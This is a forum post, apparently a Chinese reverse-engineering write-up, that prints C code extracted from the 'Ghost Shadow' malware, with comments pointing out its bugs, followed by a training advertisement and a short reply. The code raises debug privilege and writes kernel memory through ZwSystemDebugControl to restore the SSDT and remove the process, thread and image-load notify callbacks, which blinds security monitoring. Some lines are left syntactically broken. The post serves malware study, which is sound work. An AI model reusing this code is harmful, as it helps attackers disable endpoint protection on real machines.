/***************************************************************************************
*
* 分析了一下“鬼影”病毒，从里面扒了段代码出来。
*
* 该段代码调用 ZwDebugSystemControl 在 Ring3 恢复 SSDT，并摘除
* PsSetLoadImageNotifyRoutine、PsSetCreateProcessNotifyRoutine、
* PsSetCreateThreadNotifyRoutine 三个钩子。
*
* 代码里 bug 较多，我用注释标示出来了，保留原味儿，未做修改。
*
* 逆向 by Fypher
* http://hi.baidu.com/nmn714
*
****************************************************************************************/
BOOL Ring3Unhook(IN BOOL bArg) { // bArg 为 0 时只恢复SSDT，不摘PsSetXXXNotifyRoutine钩子
// 先提权
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES tkp;
if (OpenProcessToken(GetCurrentProcess, TOKEN_ALL_ACCESS, &hToken) ) {
if (LookupPrivilegeValue(0, "SeDebugPrivilege", &luid)) {
tkp.Privileges[0].Luid.LowPart = luid.LowPart;
tkp.Privileges[0].Luid.HighPart = luid.HighPart;
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0x10, NULL, 0);
}
}
CloseHandle(hObject); // 此处有bug
// 获取所需函数，应该检查一下返回值
char strProcName[32] = "ZwSystemDebugControl";
HMODULE hNtdll = GetModuleHandle("ntdll");
ZWSYSTEMDEBUGCONTROL ZwSystemDebugControl = GetProcAddress(hNtdll, strProcName);
strcpy(strProcName, "NtQuerySystemInformation");
NTQUERYSYSTEMINFORMATION NtQuerySystemInformation = GetProcAddress(hNtdll, strProcName);
// 查询系统模块信息
ULONG ulRet = 0;
NTSTATUS status;
status = NtQuerySystemInformation(SystemModuleInformation, 0, 0, &ulRet);
if (status != STATUS_INFO_LENGTH_MISMATCH)
return 0;
// 这里写得不好，没有检查返回值，并且用 heap 类函数快得多
HLOCAL hlocal = LocalAlloc(LPTR, ulRet);
status = NtQuerySystemInformation(SystemModuleInformation, hlocal, ulRet, &ulRet))
return 0; // 此处有资源泄露，应该释放 hlocal
// WS的方式把 ntoskrnl 的真名找到了
PSYSTEM_MODULE_INFORMATION pSysModInfo = (PSYSTEM_MODULE_INFORMATION)((ULONG)hlocal + 4);
char* pstrNtoskrnl = pSysModInfo->ModuleNameOffset + pSysModInfo->ImageName;
HMODULE hNtoskrnl = LoadLibraryEx(pstrNtoskrnl, 0, DONT_RESOLVE_DLL_REFERENCES);
if (!hNtoskrnl)
return 0; // 此处有资源泄露，应该释放 hlocal
// 准备恢复SSDT
strcpy(strProcName, "KeServiceDescriptorTable");
ULONG ulSSDToffset = (ULONG)GetProcAddress(hNtoskrnl, &ProcName) - (ULONG)hNtoskrnl;
ULONG ulNtoskrnlBase = (ULONG)hNtoskrnl & 0xFFFFFFFE; // 取得基址，多余操作
ULONG ulPEHdr = *(PULONG)(ulNtoskrnlBase + 0x3C) + ulNtoskrnlBase; // 取PE头
ULONG ulImageBase = *(PULONG)(ulPEHdr + 52); // 取 ImageBase
ULONG ulSSDTAddr = ulImageBase + ulSSDToffset;
MEMORY_CHUNKS QueryBuff;
QueryBuff.Address = (ULONG)ulSSDTAddr;
ULONG ulSizeOfImage = *(PULONG)(ulPEHdr + 80); // 取 SizeOfImage
PVOID lpAddress;
int i = 0;
if (ulSizeOfImage) {
while (1) {
lpAddress = (LPVOID)(ulNtoskrnlBase + i);
// 寻找 mov ds:KeServiceDescriptorTable, xxxxxxxx
// 特征码 C7 05 SSDT xxxx
if (*(PULONG)(lpAddress) == ulSSDTAddr ) {
if ( *(WORD *)(lpAddress - 2) == 0x5C7 )
break;
}
++i;
if (i >= ulSizeOfImage)
break;
}
if (i <ulSizeOfImage)
QueryBuff.Address = *((PULONG)lpAddress + 1);
}
if (i == ulSizeOfImage) {
return 0; // 此处有资源泄露，应该释放 hNtoskrnl 和 hLocal
}
else { // 此处有bug， i > ulSizeOfImage后程序会流向此处
PULONG FunAddr = (PULONG)( QueryBuff.Address + (ULONG)hNtoskrnl - ulImageBase);
DWORD dwOldProtect = 0;
VirtualProtect(FunAddr, 0x1000, PAGE_READWRITE, &dwOldProtect); // 这里应该检查返回值
int num = 280; // 这里写得不好，函数个数应该动态获取
do {
FunAddr[num] += (ULONG)pSysModInfo->Base - ulImageBase;
--num;
} while (num >= 0);
// 恢复SSDT
DWORD dwRet;
QueryBuff.Address = QueryBuff.Address + (ULONG)pSysModInfo->Base - ulImageBase;
QueryBuff.Data = FunAddr;
QueryBuff.Length = 1120; // 这里写得不好，函数个数应该动态获取
status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);
if ( bArg ) { // 根据参数决定是否摘除 PsSetxxxNotifyRoutine 钩子
// 准备摘掉 PsSetLoadImageNotifyRoutine 的钩子
strcpy(strProcName, "PsSetLoadImageNotifyRoutine");
ULONG ulProcAddr = (ULONG)GetProcAddress(hNtoskrnl, &strProcName);
QueryBuff.Address = ulProcAddr;
if ( *(WORD *)ulProcAddr != 0xCCCC ) { // 此处有bug
do {
++ulProcAddr;
} while ( *(WORD *)ulProcAddr != 0xCCCC );
while (ulProcAddr > QueryBuff.Address ) {
// 寻找 PsImageNotifyEnabled
// mov ds:_PsImageNotifyEnabled, 1，特征码C6 05 xx xx xx xx 01。
if (*(WORD *)ulProcAddr == 0x5C6 && *((_BYTE *)ulProcAddr + 6) == 1 ) {
ULONG ulPsImageNotifyEnabledAddr = *(PULONG)(ulProcAddr + 2);
// 将 PsImageNotifyEnabled 置 0， 摘掉 ImageNotifyEnabled 钩子
int buff = 0;
QueryBuff.Address = ulPsImageNotifyEnabledAddr + (ULONG)pSysModInfo->Base - ulImageBase;
QueryBuff.Data = &buff
QueryBuff.Length = 1;
status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);
break;
}
--ulProcAddr;
}
}
// 同理摘掉 PsSetCreateProcessNotifyRoutine 的钩子
strcpy(strProcName, "PsSetCreateProcessNotifyRoutine");
ulProcAddr = (ULONG)GetProcAddress(hNtoskrnl, &strProcName);
QueryBuff.Address = ulProcAddr;
if ( QueryBuff.Address < QueryBuff.Address + 256 ) {
// 找函数出口，retn 8
while ( *(WORD *)ulProcAddr != 0x8C2 || *(BYTE *)(ulProcAddr + 2) ) {
++ulProcAddr;
if (ulProcAddr >= QueryBuff.Address + 256)
break;
}
while ( ulProcAddr < QueryBuff.Address + 256 ) {
// 寻找mov xx, offset _PspCreateProcessNotifyRoutineCount
if ((*(BYTE *)ulProcAddr & 0xF8) == 0xB8) {
if (*(PULONG)(ulProcAddr + 1) > 0x400000) { // 取得_PspCreateProcessNotifyRoutineCount
int buff = 0;
QueryBuff.Address = *(PULONG)(ulProcAddr + 1);
QueryBuff.Address = QueryBuff.Address + (ULONG)pSysModInfo->Base - ulImageBase;
QueryBuff.Data = &buff;
QueryBuff.Length = 4;
status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);
break;
}
ulProcAddr += 4;
}
++ulProcAddr;
}
}
// 同理摘掉 PsSetCreateThreadNotifyRoutine 的钩子， 不解释了
strcpy(strProcName, "PsSetCreateThreadNotifyRoutine");
ulProcAddr = GetProcAddress(hNtoskrnl, &strProcName);
QueryBuff.Address = ulProcAddr;
while (1) {
if (ulProcAddr >= QueryBuff.Address + 256)
break;
if (*(WORD *)ulProcAddr == 0x4C2 && !*((BYTE *)ulProcAddr + 2))
break;
++ulProcAddr;
}
for (ULONG addr = ulProcAddr + 3; addr < QueryBuff.Address + 256; ++addr) {
if ((*(BYTE *)addr & 0xF8) == 0xB8) {
if (*(PULONG)(addr + 1) > 0x400000) {
int buff = 0;
QueryBuff.Address = *(PULONG)(ulProcAddr + 1);
QueryBuff.Address = QueryBuff.Address + (ULONG)pSysModInfo->Base - ulImageBase;
QueryBuff.Data = &buff;
QueryBuff.Length = 4;
status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);
break;
}
addr += 4;
}
}
}
FreeLibrary(hNtoskrnl);
return NT_SUCCESS(status); // 此处有资源泄露，应该释放 hlocal
}
}
[招生]科锐逆向工程师培训(2024年11月15日实地，远程教学同时开班, 第51期)
汗,算了,刚刚回帖时候没仔细看,发现不是我想看的代码,有空还是自己分析关键部分吧~
